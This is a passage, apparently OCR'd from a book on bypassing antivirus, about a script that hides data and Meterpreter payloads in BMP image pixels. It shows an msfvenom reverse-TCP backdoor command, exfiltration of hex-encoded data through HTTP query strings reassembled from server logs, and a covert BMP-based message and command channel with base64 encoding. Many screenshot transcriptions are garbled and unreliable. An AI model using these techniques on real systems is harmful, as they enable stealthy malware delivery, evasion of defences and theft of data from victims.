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Part 2 (InfillExfiltration/Transferring Techniques by C#) , Chapter 11 : Hiding Payloads via BMP Image Pixels (Part2)

Hiding Payloads via BMP Image Pixels (PART2)

In this (Part2) | want to talk about “NativePayload_Image.sh” v.2 Script and linux systems only . We talked about this method
“step by step” by “Partl of Chapter-11" so in this time | just want to explain this method by Script “NativePayload_Image.sh” v2
Step by step:

Injecting Text/Data/Payload to BMP files (Text-Data)
First of all with this syntax1 you can have Injected Text-Data into BMP files very simple by these two method : first by 'text-data
and second by “meterpreter-data” , | will talk about Meterpreter but in this time | will show you Text-Data Method by “Picture 1"

Syntax 1 : Injecting Text/Data/Payload to BMP files :
./NativePayload_Image.sh -makebmp text “your Text-message or Text-Data”
Syntax Description: injecting “Text/Data” to BMP file “test.bmp”

- Oracle VM VirtualBox 00

File Machine View Input Devices Help

hpplications Places + [q Image Viewer Fri 21:26

File Edit View Search Terminal Help
i~# ./NativePayload Image.sh -makebmp text "this is my Payload/Text for injection by BMP Files"
NativePayload Image.sh , Published by Damon Mohammadbagher 2818
Injec loading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
./NativePayload Image.sh help

[>]:B

test.bmp

Picture 1:
as you can see in this “Picture 1” with switches “-makebmp” and “text” you will have New BMP file “test.bomp”.

Reading Text/Data/Payload from BMP files :
Now you need to Read Data from BMP files so by these two Switches you can read DATA/Payload from BMP Files:
With “Syntax 2" you can Read Injected Payload from BMP files:

Syntax 2 : Reading Text/Data/Payload from BMP files :
./NativePayload Image.sh -readpay test.bmp
Syntax Description: reading “Text/Data/Payload” from BMP file “test.bmp”

./NativePayload_Image.sh -readbmp test.bmp
Syntax Description: Reading BMP files by Hexdump Tool
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- Oracle VM VirtualBox (— O <]
File Machine View Input Devices Help

pplications « Places v+  [q Image Viewer

Edit View Search Terminal

./NativePayload_Image.sh -readpay test.bmp
; test.bmp
age.sh , Published by Damon Mohammadbagher 2018
g/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
tivePayload_Image.sh help

cat test.bmp ExfilOutput 21-12-2018.21-49-29.txt

this is my Payload/Text for injection by BMP Files
:~# ./NativePayload Image.sh -readbmp test.bmp

y mage.sh , Published by Damon Mohammadbagher 2018
Injecting oading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help syntax: ./NativePayload Image.sh help

Picture 2:
Injecting Text/Data/Payload to BMP files (Meterpreter-Data)
as you can see in the next “Pictures 3 and 4” we can have Injected Meterpreter Payload via BMP files by this syntax :

Syntax 1 : Injecting Text/Data/Payload to BMP files :

./NativePayload_Image.sh -makebmp meterpreter “Msfvenom Payload (Backdoor-Payload)”
Syntax Description: injecting “Meterpreter Payload” to BMP file “test.bmp”
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File Machine View Input Devices Help
pplications ~ Places + [ Terminal =

root@kali: ~

File Edit View Search Terminal Help
:~# msfvenom --platform windows --: 4 -p windoy ‘meterpreter/reverse_tcp lhost=192.168.56.1 -f ¢ > pay.txt
b fied, outputting raw payload
: 510 bytes
file: 2166 bytes
strings pay.txt | grep
00000415141505251564831d265488b526

€24084539d175
15d49be777332 JJJZBBBEMISE-!
10100005941}: 43"BEbBGTTd5€a05415&50504d
lb.-.i'Q'QdS?-iElTTdS
Ed-l[l-ilS'J 10600041

05a41badb2 0

b52 404""
JBBBBE}G 5c074
b4044490 ld 0664

Picture 3:
File Machine WView Input Devices Help

pplications «

File Edit View Search Terminal Help

h -mak Lnnp meter|

41‘Te[|5“4 S'J ada
7ffd54cB89ea
‘J-ilbd'i'id5?4€lTTd5

sh , Published by Damon Mohammadbagher 2018 - ' e

/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
NativePayload Image.sh help

Picture 4:

Now you can use “NativePayload_Image.exe” , (C# tool) and this “test.omp” for Meterpreter Session so your syntax with this C#
code should be something like this :

NativePayload_Image.exe url http://192.168.56.101/test.omp 510 54

Note: For more information about this please watch Video Chapter-11 : Hiding Payload via BMP Image Pixels
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DATA Exfiltration by Sending HTTP Traffic (Sending Data by Web Requests and id Values).

In this method you can send BMP files by HTTP traffic without Transferred BMP files over HTTP traffic as BMP format file , it
means you can send Bytes of BMP file via Web Requests and for doing this only you need to use “id=[Bytes-Values)] as BMP
Payload”

so let me explain this Method and Technique step by step :

for example we have these Payloads="this is my BMP payload” and “this is my second BMP payload” for Exfiltration via Web
Requests “/GET".

so in Client side we will have something like these Commands for Sending DATA to server :

Client side :

root@kali:~# echo " "] xxd -p
74686973206973206d7920626d70207061796c6f61640a
root@kali:~# echo "this is my bmp payload" | xxd -p | rev
204616f6c69716070207d6260297d60237960237968647
root@kali:~#

root@kali:~# curl http://127.0.0.1/Mainpage.aspx?ids=
<head>

<title>Error response</title>

<h1>Error response</h1>

<p>Error code 404.

<p>Message: File not found.

<p>Error code explanation: 404 = Nothing matches the given URI.
</body>

root@kali:~#

root@kali:~# echo " "|xxd -p
74686973206973206d79207365636f6e6420626d70207061796c6f61640a
root@kali:~# echo "this is my second bmp payload" | xxd -p | rev
204616f6c69716070207d6260246e6f63656370297d60237960237968647
root@kali:~#

root@kali:~# curl http://127.0.0.1/Mainpage.aspx?ids=

<head>

<title>Error response</title>

<h1>Error response</h1>

<p>Error code 404.

<p>Message: File not found.

<p>Error code explanation: 404 = Nothing matches the given URI.
</body>

root@kali:~#

Note | got Error because | don't have “Mainpage.aspx” file in server side but to avoid “Error Code 404" just we need to Create
this file in server side by this command :

echo “Ops here ;)* > Mainpage.aspx

in Server side we should have something like these Commands to Dump Exfiltration DATA by Web server and log file .

Server side :

root@kali2:~# nohup python -m SimpleHTTPServer 80 > SimpleHTTPServer.txt 2>&1 &

[1] 1744

root@kali2:~#

root@kali2:~# cat SimpleHTTPServer.txt

nohup: ignoring input

127.0.0.1 - - [24/Dec/2018 15:30:35] code 404, message File not found

127.0.0.1 - - [24/Dec/2018 15:30:35] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260297d60237960237968647 HTTP/1.1" 404 -

127.0.0.1 - - [24/Dec/2018 15:31:32] code 404, message File not found

127.0.0.1 - - [24/Dec/2018 15:31:32] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260246e6f63656370297d60237960237968647 HTTP/1.1" 404 -
root@kali2:~# cat SimpleHTTPServer.txt | grep "ids="

root@kali2:~#

127.0.0.1 - - [24/Dec/2018 15:30:35] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260297d60237960237968647 HTTP/1.1" 404 -

127.0.0.1 - - [24/Dec/2018 15:31:32] "GET /Mainpage.aspx?ids=a04616f6c69716070207d6260246e6f63656370297d60237960237968647 HTTP/1.1" 404 -
root@kali2:~#

root@kali2:~# cat SimpleHTTPServer.txt | grep "ids=" | awk {'print $7'} | cut -d'=" -f2

root@kali2:~#
root@kali2:~# cat SimpleHTTPServer.txt | grep "ids=" | awk {'print $7'} | cut -d'="-f2 | rev | xxd -r -p

root@kali2:~#

r/Publisher : Damon Mohammadbagher



Bypassing Anti Viruses by C#.NET Programming

Part 2 (InfillExfiltration/Transferring Techniques by C#) , Chapter 11 : Hiding Payloads via BMP Image Pixels (Part2)

after these steps by commands now you can understand what exactly happened in the next pictures .
So our syntaxes for this Exfiltration Method are these:

Syntax 3 : Data Exfiltration by Web Requests and BMP Files!

./NativePayload_Image.sh -exfilwebserver Listen-Port[8080]
./NativePayload_Image.sh -exfilwebserver 80
Description: Running Exfiltration-WebServer (Server-side: Listening/Monitoring Web Requests and log file)

./NativePayload_Image.sh -sendhttp mybmpfile.bmp IPv4_for_ServerSide Server-Port[80] Delay[0.4]
/NatlvePaonad Image.sh -sendhttp mybmpfile.bmp 192.168.56.100 80 0.3

as you can see in the next “Picture 5” we have two systems with (IPv4: Server-Side 56.102 and Client-Side 56.101).

as you can see before send this file “test.omp” by “switch -sendhttp” , | read Payload for that and this text-data injected to this file
before this step : Payload="this is my Payload/Text for injection by BMP Files”

now | want to send this text-data via Web Traffic to Server side ,

after this step in Server-side my tool will create new BMP file with name “Dumped_via_http_test.bmp” by Read/Reassembled
Information from Web-server log file.

File Machine View Input Devices Help

File Machine View Input Devices Help

root@kali: ~

pplications « Places v  [] Terminal ~ Fri 22:03
File Edit \f’\ew Search Terminal Help
= nfi urep 56.1
.12 netmask 255.255.255.0 broadcast 192.168.56.255
File Edit View Search Terminal Help o yload Image.sh -exfilwebserver

, Published by Damon Mohammadbagher 2018

92.168.56.2
A ading DATA via BMP Image Pixels by DNS or HTTP Traffic

help syntax

Image.sh , Published by Damon Mohammadbagher 2018 = o pe e M nleHTTPServer
vading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic 2 > i el et e
help syntax: ./NativePayload Image.sh help

i~
:~# ./NativePayload_Image.sh -sendhttp test.bmp 192.168.56.162 88 0.3]

Picture 5:

in the Next “Picture 6 and 7 “ you can see these Information Transferred by Web Queries....
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|File Machine View Input Devices Help

File Machine View Input Devices Help o
pplications Places v [ Terminal v ri 22:04 root@kali: ~
File Edit View Search Terminal Help

ifconfig | grep 56.1
1

8.56.102  netm: 255.255.255.8 bri st 192.168.56.255
ivePayload Image.sh -exfilwebserver

root@kali: ~

File Edit View Search Terminal Help
~# i ig | grep 56.1
inet 192.168.56.101 netmask 255.255.255.8 broadcast 192.168.56.255 ayload Image.sh , Published by Damon Mohammadbagher 2618
:~# ./NativePayload Image.sh -readpay test.bmp g/Uploading DATA via BMP Image Pixels by DNS or HTTP Traff
help syn ./MativePayload_Image.sh hel,
h , Published by Damon Mohammadbagher 2018 i = Slaliito i
g/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
Payload Image.sh help

./NativePayload_Image.sh -sendhttp test.bmp 192.168.56.102 80 0.3
Published by Damon Mohammadbagher 2018

Jploading DATA BMP Image Pixels by DNS or HTTP Traffi
load_Image.sh help

BeFd

Picture 6:

File Machine View Input Devices Help File Machine View Input Devices Help

WL
pplications Places + [ Terminal 5 root@kali: ~
File Edit View Search Terminal Help

root@kali: ~

File Edit View Search Terminal Help
ep 56.1
1 netmask 255.255.255.0 broadcast 192.168.56.255
Payload Image.sh -readpay test.bmp

Published by Damon Mohammadbagher 20818

g ing DATA via BMP Image Pixels by DNS or HTTP Traffic
vePayload Image.sh help

-# ./NativePayload Image.sh -sendhttp test.bmp 192.168.56.102 80 0.3

h , Published by Damon Mohammadbagher 2018
Jploading DAT) BMP Image Pixels by DNS or HTTP Traffic

yload_Image.sh help

BOF4

Picture 7:

as you can see BMP File “Dumped_via_Http_test.omp” Created by these Information very well.
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: ! - ‘ File Machine View Input Devices Help
File Machine View Input Devices Help

bplications + Places » [ Terminal Fri 22:10 root@kali: ~
iew Search Terminal Hely
e: [4d]: 1:inj Du

55.255.255.8 broadcast 192
-readpay test.bmp
Published by Damon Mohammadbagher 2018

oading DATA via BMP Image Pixels by DNS or HTTP Traffic
oad Image.sh help

~#
:~# ./NativePayload_Image.sh -sendhttp test.bmp 192.168.56.182 80 0.3

Published by Damon Mohammadbagher 2018
oading DATA via BMP Image Pixels by DNS or HTTP Traffic
sh

i~

e

:~# ./NativePayload Image.sh -readpay Dumped via Http test.bmp
NativePayload Image Published by Damon Mohammadbaghe

oading DATA via BMP Image Pixels by NS or HTTP Traffic
oad Image.sh help

Picture 8:

now in “Picture 8” you can compare our payloads between “test.omp” and “Dumped_via_Http test.omp”

DATA Exfiltration:
as you can see both files have same Payload , Now DATA Transferred from Client to Server via BMP Formats by HTTP Traffic
and now you can say “DATA Exfiltrated” from Client to Server.

Extracting Injected Payloads from BMP Files via HTTP traffic
in this time with these two simple Syntaxes you can you can see Injected Payloads for BMP Files very simple.
For doing this just you need to use switch “-gethttp” in client side and in server side you need Web-server (switch -webserver).

Syntax 4 : Extracting Injected Payloads from BMP Files by HTTP traffic!

./NativePayload_Image.sh -webserver Port[8080]
./NativePayload_Image.sh -webserver 80
Description: Running SimpleWebServer (Server-side: Web-Service only)

./NativePayload_Image.sh -gethttp IPv4_for_Server File.bmp Server-Port[80]
./NativePayload _Image.sh -gethttp 192.168.56.102 Dumped_via_http.test.bmp 80
Description: Dump/Download BMP file from Web Server by “/GET” Request (Extracting Injected Payloads from BMP Files
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‘ File Machine View Input Devices Help

File Machine View Input Devices Help
pplications »  Places v [ Terminal « ri 22:19 root@kali: ~

rep 56.1
82 netmask 255.255.255.0 broadcast 192.168.56.255

g | grep 56.1
.56.101 netmask 255.255.255.0 broadcast 192.168.56.255
ied by Damon Mohammadbagher 2018
vading/ g DATA via BMP Image Pixels by DNS or HTTP Traffic
/NativePayload Image.sh -gethttp 192.168.56.102 Dumped via Http test.bmp 80 help s ativePayload_Image.sh help

Published by Damon Mohammadbagher 2018
ding DATA via BMP Image Pixels by DNS or HTTP Traffic 1 1 I
yload Image.sh help

:~# cat 192.168.56.102 ExfilOutput_21-12-20:
d/Text for injection by BMP Files

Picture 9:
as you can see in this “Picture 9” that BMP file Downloaded by HTTP “/GET” Request and Payload Saved to text file.

Transferring “Text-Messages & Commands” via BMP Image Files

in this Section of Chapter-11 , | want to talk about Send/Receiving BMP files over HTTP Traffic , it means you will have a lot BMP
files in Network Traffic (*.bmp) as DATA/Payload.

So this is talk about Normal HTTP Traffic for Websites or it is talk about Send/Receiving BMP Files in the Network with/without
Encryption in BMP Payloads.

: SystemA want to send “text-datal” ---- > SystemB

: SystemA , “text-datal” injected to BMP1 , now BMP1 is Ready...

: SystemA send Signal to —----> SystemB for Download BMP1

: SystemB Downloaded BMP1 from SystemA over HTTP traffic , show Text-Data (clear-text Message)

: SystemB want to send “text-data2” ---- > SystemA

: SystemB , "text-data2” injected to BMP2 , now BMP2 is Ready...

: SystemB send Signal to —--> SystemA for Download BMP2

: SystemA Downloaded BMP2 from SystemB over HTTP traffic , show Text-Data (clear-text Message

with this Syntax you can use this Code to Send/Receiving Text-Messages via BMP files over HTTP Traffic.

Syntax 5 : Send/Rec Text-Messages and Commands via BMP Files by HTTP Traffic!

./NativePayload_Image.sh -chatserver L 80 Client-IPv4 R 80
./NativePayload _Image.sh -chatserver | 80 192.168.56.102 r 80
Description: Server-IPv4::192.168.56.101

./NativePayload _Image.sh -chatclient L 80 Server-IPv4 R 80
./NativePayload_Image.sh -chatclient | 80 192.168.56.101 r 80
Description: Client-IPv4::192.168.56.102

in the next “Picture 10” you can see | used Two systems for Test this code with (IPv4 192.168.56.101 & 192.168.56.102).
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File Machine View Input Devices Help

pplications Places « Terminal = Fri 22:46

root@kali: ~

U File Edit View Search Terminal Help
:~# ifconfig | grep 56.1
inet 192.168.56.101 netmask 255.255.255.8 broadcast 192.168.56.255
:~# ./NativePayload_Image.sh -chatserver 1 8@ 192.168.56.102 r 8@
NativePayload_Image.sh , Published by Damon Mohammadbagher 2018
Injecting/Downloading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help syntax: ./NativePayload_Image.sh help
[>]1:121-12-20818.22-44-47] :Chat Mode Started by SimpleHTTPServer on Port [88]!

Picture 10 :

File Machine View Input Devices Help
Applications Flaces erminal

root@kali: ~

File Edit View Search Terminal Help
1
:~# ifconfig | grep 56.1
inet 192.168.56.162 netmask 255.255.255.0 broadcast 192.168.56.255

~#

:~# ./NativePayload Image.sh -chatclient 1 80 192.168.56.101 r 80
MativePayload Image.sh , Published by Damon Mohammadbagher 2018
Injecting/Downloading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help syntax: ./NativePayload Image.sh help

[=]:[21-12-2018.19-14-56] :Chat Mode Started by SimpleHTTPServer on Port [80]

in Next “Picture 11" you can see Result for Send/Rec Message by this tool between two systems.

File Machine View Input Devices Help

bplications + Places « Terminal « Fri 22:48

root@kali: ~

File Edit View Search Terminal Help
:~# ifconfig | grep 56.1
inet 192.168.56.101 netmask 255.255.255.8 broadcast 192.168.56.255
i~# . /NativePayload_Image.sh -chatserver 1 80 192.168.56.102 r 80
NativePayload_Image.sh , Published by Damon Mohammadbagher 2018
Injecting/Downloading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help syntax: ./NativePayload Image.sh help

2-44-47]:Chat Mode Started by SimpleHTTPServer on Port [80]!
[>]:BMP: :ChatviaPixels.bmp: : [5024] .null.bytes:Created

[0x%2d33382b74686973206973206d79206669727374206d6573736167652076
96c6573] : Index[54]:injected:ChatviaPixels.bmp

Picture 11:

File Machine Wiew Input Devices Help
Applications Flaces ¥ Erminal

root@kali: ~

File Edit View Search Terminal Help
oy
:~# ifconfig | grep 56.1
inet 192.168.56.102 netmask 255.255.255.8 broadcast 192.168.56.255
2
:~# ./NativePayload Image.sh -chatclient 1 80 192.168.56.101 r 80
NativePayload Image.sh , Published by Damon Mohammadbagher 2018
Injecting/Downloading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help syntax: ./NativePayload Image.sh help

[>]1:121-12-2018.19-14-56] :Chat Mode Started by SimpleHTTPServer on Port [8@l!

with length [38] is :

and | used Wireshark to show you what exactly happened over Network Traffic and this is good way to understanding steps
behind this Method .

In the next “Picture 12" you can see this Text/Payload “this is my first message via BMP files” injected to BMP file
“ChatviaPixels.bmp” with Server-side system with IPv4 : 192.168.56.101 , then in the next step this file is ready to download by
Client side system over HTTP traffic .

In this step Server side sent Signal to Client side and this BMP file Downloaded by Client-Side IPv4 : 192.168.56.102

and you can see this file Saved to Client-side system with name “ChatviaPixels.bmp.1” and Finally in the last step you can see
this Text-Messages in Client-side (Clear-text) also with wireshark you can see Network HTTP Traffic and Image Packet with
length (5k) for this BMP File.
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File Machine View Input Devices Help
File Machine View Input Devices Help Applications v laces v S VNITesark

pplications « Places v @@ Wireshark v

File Edit View Search Terminal Help

UFile Edit View Search Terminal Help # ifconfig | grep 56.1
e J.T:cln‘rm | grep 56.1 { .182 netmask 255.255.255.8 broa st 192.168.56.255
] 11 ne 255.255.255.8 bro ?.168.56.255
JHdTlUEPj\Jl(Hd Imag server 1 80 192.168.56.102 r 80 - ./NativePayload_Image.sh -chatclient 1 80 192.168.56.101 r 8@
R Puh'l.ldued by Damon Mohammadbagher 2 Nati a a hed by Damon Mohammadbagher 2
ad a BMP Image Pixels by IJHL or HTTP Traffic j ing/Down n p'L(uduu} DATA wia BMP Image Pixels by D yr HTTP Traffic
help h 5 ivePayload Image.sh help

erver on Port > d by §

S eth0

File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools H http | Exgre

ity No. i Source Destination Proto Length Info
No. Time Source Destination Proto Leng Info l .5.. 192.168.56.101 192.168.56.102 HTTP 172 GET /default.aspx?u.id
[+ B 17.. 192.168.56.101 192.168.56.102 HITP 172 GET /default.aspx?uios—cha IR L N = e I o e
18 17... 192.168.56.102 192.168.56.101 HTTP 72 HTTP/1.0 280 OK  (applicaf 28 23.3.. 192.168.56.101 192.168.56.102 HTTP 5090 HTTP/1.0 200 OK (ima
26 23... 192.168.56.102 192.168.56.101 HTTP 222 GET /ChatviaPixels.bmp HT

T T T R S|

Picture 12:
in then next “Picture 13” you can see Payload of BMP file in Packet also you can see RAW Data and Clear-text Message too.

File Machine View Input Devices Help File Machine View Input Devices Help
Places + [ Terminal « " Applications « laces 2 Wireshark « Fri 19:23

Edit Vi Search T L Hel,
File Edit Vlew Search Terminal Help I S Sl ="

255.255.0 adca 6 B
chatserver 1 .168 B2 r 8 eth0 (-}

File Edit View Go (Capture Analyze Statistics Telephony Wireless Tools Help
http ~ | Expressior

Source Destination Proto Length Info

.5.. 192.168.56.101 192.168.56.102 HTTP 172 GET /default.aspx?uids=cl

22 23.3.. 192.168.56.102 192.168. 56 101 HTTP 222 GET /ChatviaPixels.bmp H
- :

oo4a
0050
[e6e
ee7e
0080
[eoe
oeae
oebe
0ece

Frame (5090 bytes) | Reassembled TCP (5217 bytes)
O 7 Bytes 66-5089: TCP seg..ata (tcp.segment_data) Packets: 36 - Displayed: 3 (8.3%)  Profile: Dt

Picture 13:

as you can see in this “Picture 13" we have this Payload “-38+this is my first message via BMP files......” and now you can see
where is my Text-data and Messages in the Network Traffic.

in the next “Picture 14” you can see we have New Message “this is my second test ;)" by Client-side and in this step Client made
New BMP2 in this Case “ChatviaPixelsll.omp” and our Text-data Injected to this file also signal Sent to Server-side and this File
downloaded by Server and saved to Server-side with name “ChatviaPixelsll.omp.1".
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File Machine View Input Devices Help File Machine View Input Devices Help

pplications = Places = [ Terminal « Fri 22:56

root@kali: ~

root@kali: ~
File Edit View Search Terminal Help
! File Edit View Search Terminal Help onfig | grep 56.1

i il

nfig | grep .102 netmask 255.255.255.0 broadc 92.168.56.255
56 1

255.255.0 br
atserver 1 = : 3 ./NativePayload Image.s client 1 80 192.168.56.101 r 80

ished by Damon Mohammadbagher 2018 ayloa , Published by Damon Mohammadbagher 2018
DATA via BMP Image Pixels by DNS or HTTP Traffic q ploading DATA via BMP Image Pixels by DNS or HTTP Traffic
mage.sh help h ./Na ad_| h help

r on Port [

No. Tin Source Destination Proto Lengl Info
192.168.56.101 192.168.56.102 HTTP 172 GET /default.
.181 HTTP
.102 HTTP HTTP/1.8 200 OK (image/

HES aspx?uids=c
2

2

4.. 192.168.56.102 192.168.56.101 HTTP 172 GET /default.aspx?uids=c
4.

4.

gl

192.168.56.101 192.168.56.102 HTTP 179 HTTP/1.@ 260 OK (applic
192.168.56.101 192.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp
192.168.56.102 192.168.56.101 HTTP 794 HTTP/1.0 200 OK (image/

Picture 14:

as you can see in this “Picture 15" we have this Payload “-25+this is my second test ;)" in the HTTP Packet and now you can
see where is my Text-data and Messages in the Network Traffic.

File Machine View Input Devices Help File Machine View Input Devices Help

pplications laces = L) Terminal «

pplications Places v B Wireshark « Fri 23:02
root@Kkali: ~

) _ _ . File Edit View Search Terminal Help

¢ File Edit View Search Terminal Help :~# ifconfig | grep 5

:~# ifconfig | grep 56.1 n 2.168. netmask 255.255.255.0 broadcast 192.168.56.255
2 56.101 netmask 255.255.255.8  bri 3

1300 ch _chatcarvar

e g
:~# ./NativePayload_Image.sh -chatclient 1 80 192.

{ 5 yloa h , Published by Damon Mohammadbagher

T g i + Uploading DATA via BMP Image Pixels by DNS or HTTP Traff
W Flle Edit View Go Capture Analyze Statistics Telephony Wireless Tools NativePayload_I sh help

tcp.stream eq 3

Neo.  Time Source Destination Proto Lengtl Info

[ 54 468.. 192.168.56.101 192.168.56.102 TCP 74 5213880 [SYN] Seq=8 Win=
55 468.. 192.168.56.162 192.168.56.1081 TCP 74 8052138 [SYN, ACK] Seq=0
56 468.. 192.168.56.101 192.168.56.102 TCP 66 52138-80 [ACK] Seg=1 Ack=
57 468.. 192.168.56.101 192.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp
58 468.. 192.168.56.102 192.168.56.101 TCP 66 8052138 [ACK] Seg=1 Ack=
59 468.. 192.168.56.102 192.168.56.101 TCP 83 [TCP segment of a reassemp
60 468.. 192.168.56.101 192.168.56.102 TCP 66 5213880 [ACK] Seq=159 |h"

|| 61 468.. 192.168.56.102 192.168.56.101 TCP 194 [TCP segment of a reassenb
62 468.. 192.168.56.101 192.168.56.102 TCP 66 5213880 [ACK] Seq=159 #cK

g S I embll

Wireshark - Follow TCP Stream (tcp.stream eq 3) - wireshark_eth0_201812212.. @ @ AcK

e/x- No. Tin Source Destination Proto Lengl Info
SNk Acl 8 1. 192.168.56.101 192.168.56.102 HTTP 172 GET /default.aspx?uids=c
Sicaocooncazosaa: {ocoozonoczooczanaa: -25+this is) IEEE( | .168.56. .168.56.101 HTTP 222 GET /ChatviaPixels.bmp

.102 HTTP 5090 HTTP/1.0 200 OK (image/

A

a """"""""""""""""""""""""""""""""" p 408 4.. 192.168.56.1602 192.168.56.101 HTTP 172 GET /default.aspx?uids=c
| e et 48 4.. 192.168.56.101 192.168.56.102 HTTP 179 HTTP/1.0 200 0K (applic
e s 56 4.. 192.168.56.101 102.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp
@ |Entire conversation (9864 bytes) v | Show and save data as | ASCII v | Stream |3 63 4.. 192.168.56.102 192.168.56.101 HTTP 794 HTTP/1.0 200 OK (image/
A

4 Find: | Find Next |

Picture 15:

Using Base64 Encoding for BMP Payloads and Text-messages
in this time | typed this Command “@base64on” instead Text-message:

hat:input:#@base64on

with this Command you can have Text-message/Payload injection by base64 encoding instead Clear-text.
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File Machine View Input Devices Help File Machine View Input Devices Help

bplications = Places v [ Terminal =
P root@kali: ~

root@kali: ~ File Help

Edit View Search Terminal Help f | grep 56.1 i
. o 2.168.56.102 netmask 255.255.255.0 broa st 192.168.56.255
:~# ifconfig | grep 56.1

inet 192.168.56.101 net 255.255.255.0 roa 92.168.56.255 . NativePa a a chatc 80 192 91 r 86
f _/Natiy yload, Inage.Ehoe Ty ; PR # ./NativePayload_Image.sh -chatclient 1 80 192.168.56.101 r 80

File

. . NativePayload Image.s| Published by Damon Mohammadbagher 20
flativebaylond Inage., sh., Published hy:Damor Mohammsdh Injectil adi Illcwadlnq DATA via BMP Image Pixels t»:' DNS or HTTP Traffic
Downl ng/Uploading DATA via BMP Image Pi 5 € help syntax: NativePayload_Image.sh help = Y
s vePayload_Image.sh help Y ¥ g

Info
GET /default.

Source
.. 192.168:

Destination Proto Lengi
192.168.56.162 HTTP 172

.181 HTTP 222
: : 168.56.102 HTTP HTTP/1.8 260 OK (image/
40 4.. 192.168.56.102 192.168.56.101 HTTP 172 GET /default.aspx?uids=c
48 4.. 192.168.56.161 192.168.56.1602 HTTP 179 HTTP/1.8 260 OK (applic
56 4.. 192.168.56.101 192.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp
63 4.. 192.168.56.102 192.168.56.101 HTTP 794 HTTP/1.8 200 OK (image/

Picture 16:

File Machine View Input Devices Help File Machine View Input Devices Help

lications = Places + [ Terminal « Fri 23:08
p root@kali: ~

root@kali: ~ File

Edit View Search Terminal Help

U File Edit View Search Terminal Help
4 nfig | grep 56.1
inet 16 81 net < 255.255.255.0 broac
:~# . /NativePayload Image.sh -chatserver 1 80 192.168.

NativePayl Image.sh , Published by Damon Mohammadbagher 201
Inje a Jploading DATA via BMP Image Pixels by DNS or HTTP Traffic
help sy NativePayload_Image.sh help

r on Port [

No.

Tin Source Destination Proto Lengl Info
28 2.. 192.168.56.101 192.168.56.102 HTTP 5090 HTTP/1.0 200 OK (image/
40 4.. 192.168.56.102 192.168.56.101 HTTP 172 GET /default.aspx?uids=c
48 4.. 192.168 k‘}ﬁ.iﬂl 192.168.56.102 HTTP 179 HTTP/1.8 200 OK (applic
56 4.. 192.168.56.101 192.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp
L 63 4. 102.108.56.102 192.165.56.101 HITP 794 HTTP/1.0 200 OK_(image.]

84 1.. 192.168.56.101 192.168.56.102 HTTP 172 GET /default.aspx?uids=c

90 1.. 192.168.56.102 192.168.56.101 HTTP 72 HTTP/1.0 200 OK (applic

08 1.. 192.168.56.162 192.168.56.101 HTTP 222 GET /ChatviaPixels.bmp H
104 1.. 192.168.56.101 192.168.56.102 HTTP 5160 HTTP/1.8 200 0K (image/

Picture 17:

as you can see in “Picture 17" my Text-message sent by Base64 in this Picture after “@base64on” Command and in Client-side
we have this Info “[']:Base64 Payload/Message Detected!” so this Text-data “this is text-message by BASE64 ;)" sent by Base64
Payload via BMP file “ChatviaPixels.bomp” and saved to Client-side with name “ChatviaPixels.bmp.2” .

In the next “Picture 18” you can see our Payload changed from Clear-text “this is text-message by BASE64 ;)" to bytes and these
bytes are our Base64 Payload!.
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File Machine View Input Devices Help

File Machine View Input Devices Help
(] Terminal = Fri23:11

e R File d|t View Search Termmal Help

1 File

Edit View Search Terminal Help I L i by Dle or .
Feonf ep 56.1 1 *ethO e 6 (
netmask c b
Tnage @ File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
http ~| Expression...

Tin Source Destination Proto Lengt Info

4. 192.168.56.101 192.168.56.102 HTTP 179 HTTP/1.0 200 OK (application/oc..
56 4.. 192.168.56.101 192.168.56.102 HTTP 224 GET /ChatviaPixelsII.bmp HTTP/1...

4. 192.168.56.102 192.168.56.101 HTTP 794 HTTP/1.@ 200 OK (image/x-ms-bmp)

1. 192.168.56.101 192.168.56.102 HTTP 172 GET /default.aspx?uids=chatoff.b..

1.. 192.168.56.102 192.168.56.181 HTTP 72 HTTP/1.0 200 OK (application/oc..

1. 192.168.56.102 192.168.56.101 HTTP 222 GET /ChatviaPixels.bmp HTTP/1.1
ak HTTP/1.@ 200 OK (image/x-ms-bmp})

00 00 00
34 34
33 37
EEESS,
61 33

L +644768

35 31
34 39
30 61
0O 00 ©
00 0o

Frame (5160 bytes) | Reassembled TCP (5217 bytes)
O 7 Bytes 66-5159: TCP se..ta (tcp.segment_data  Packets: 114 - Displayed: 11 (9.6%)  Profile: Default

Picture 18:
for convert this BMP Base64 Payload to clear-text we need to use some Commands so in the Next “Picture 19 and 20" you can
see these command for convert this Payload from Base64 to Clear text.

File Machine View Input Devices Help

G Applications ~ Places » [ Terminal = Fri 19:47
F

Machine View Input Devices Help

pplications « Places + [ Terminal =

root@K File Edit View Search Terminal Help =

File Edit View Search Terminal Help
2 '-:nn‘rlq | grep 56.1
.56.101 netmask 255.255.255.9 br i
load_Ima h -chatserver 1 80 192.

Published by Damon Mohammad
Uploading DATA via BMP Image Pixel
load_Image.sh help

root@kali: ~

File Edit View Search Terminal Help

2

4e685a325567596e

0+644768 78637942
70637942 305a5868
[304c5731 6c63334¢]

Ce—————————————— BOPSLE@ED
e RgTeTTy Boan

Picture 19:
as | said this Base64 Payload Saved to “ChatviaPixels.bmp.2” and to figure out what exactly is behind these Bytes you should
use these Commands in the “Picture 20"
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File Machine View Input Devices Help File Machine View Input Devices Help

pplications + Places + [2] Terminal = F| Applications « Places v [ Terminal = Fri 19:50

Chatvia

